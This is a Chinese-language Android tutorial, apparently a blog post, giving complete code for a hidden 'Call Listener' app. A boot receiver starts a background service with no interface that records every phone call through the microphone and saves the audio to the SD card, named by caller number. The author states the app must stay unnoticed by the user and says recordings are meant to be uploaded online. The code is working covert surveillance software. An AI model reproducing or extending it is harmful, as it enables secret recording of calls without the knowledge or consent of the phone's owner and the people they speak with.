开机即启动电话录音服务
这是一个Android练手小项目,通过一个BroadcastReceiver广播接收手机启动状态,实现开机启动。因为是电话listener,所以我们不能让用户察觉,所以不能有软件界面,这是要点,不然也不叫Call Listener了,主要实现的功能有对所有语音通话进行录制并上传到网上,好了,不废话了,下面一步一步地写……
首先,我们先来了解一下Service服务
Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,如下:
第一步:继承Service类
public class PhoneListenerService extends Service {...}
<service android:name="PhoneListenerService"></service>
package com.studio.listener;import java.text.SimpleDateFormat;import java.util.Date;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class PhoneListenerService extends Service {private String TAG = "PhoneListenerService";//这里设置一个Log标志,方便于调试@Overridepublic IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null;}/*** 此处复写onCreate()方法,当这个服务被创建的时候就实现监听*/@Overridepublic void onCreate() {// TODO Auto-generated method stubsuper.onCreate();/* 取得电话服务 */TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);PhoneStateListener listener = new PhoneStateListener() {private String number;//定义一个监听电话号码private boolean isRecord;//定义一个当前是否正在复制的标志private MediaRecorder recorder;//媒体复制类@Overridepublic void onCallStateChanged(int state, String incomingNumber) {switch (state) {case TelephonyManager.CALL_STATE_IDLE:/* 无任何状态 */number = null;if (recorder != null && isRecord) {Log.i(TAG, "录音完成");//设定一个录音完成的标志,方便调试recorder.stop();//录音完成recorder.reset();recorder.release();isRecord = false;//录音完成,改变状态标志}break;case TelephonyManager.CALL_STATE_OFFHOOK:/* 接起电话 */// 录制声音,这是录音的核心代码try {Log.i(TAG, "开始录音");recorder = new MediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 定义声音来自于麦克风recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//我们定义存储格式为3gprecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//定我编码SimpleDateFormat format = new SimpleDateFormat("yyMMddHHmmss");//此处定义一个format类,方便对录音文件进行命名String fileName = this.number + "_" + format.format(new Date());/* 定义录音文件的输出路径,这里我们先保存到sdcard */recorder.setOutputFile(Environment.getExternalStorageDirectory().getAbsolutePath()+ "/" + fileName + ".3gp");recorder.prepare();recorder.start(); // 开始刻录isRecord = true;} catch (Exception e) {Log.e(TAG, e.toString());}break;case TelephonyManager.CALL_STATE_RINGING:/* 电话进来 */this.number = incomingNumber;break;default:break;}}};// 监听电话的状态telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);Log.i(TAG, "服务已经启动");}}package com.studio.listener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {// TODO Auto-generated method stubIntent service = new Intent(context, PhoneListenerService.class);//定义一个意图context.startService(service);//开启服务}}<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.studio.listener"android:versionCode="1"android:versionName="1.0"><uses-sdk android:minSdkVersion="10" /><!-- 对外部存储设备的写入权限 --><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission><!-- 对外部文件的写入和删除权限 --><uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission><!-- 音频刻录权限 --><uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission><!-- 接收手机完全开启状态权限 --><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission><!-- 读取电话状态权限 --><uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission><application android:icon="@drawable/icon" android:label="@string/app_name"><service android:name="PhoneListenerService"></service><receiver android:name="BootBroadcastReceiver"><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED"></action></intent-filter></receiver></application></manifest>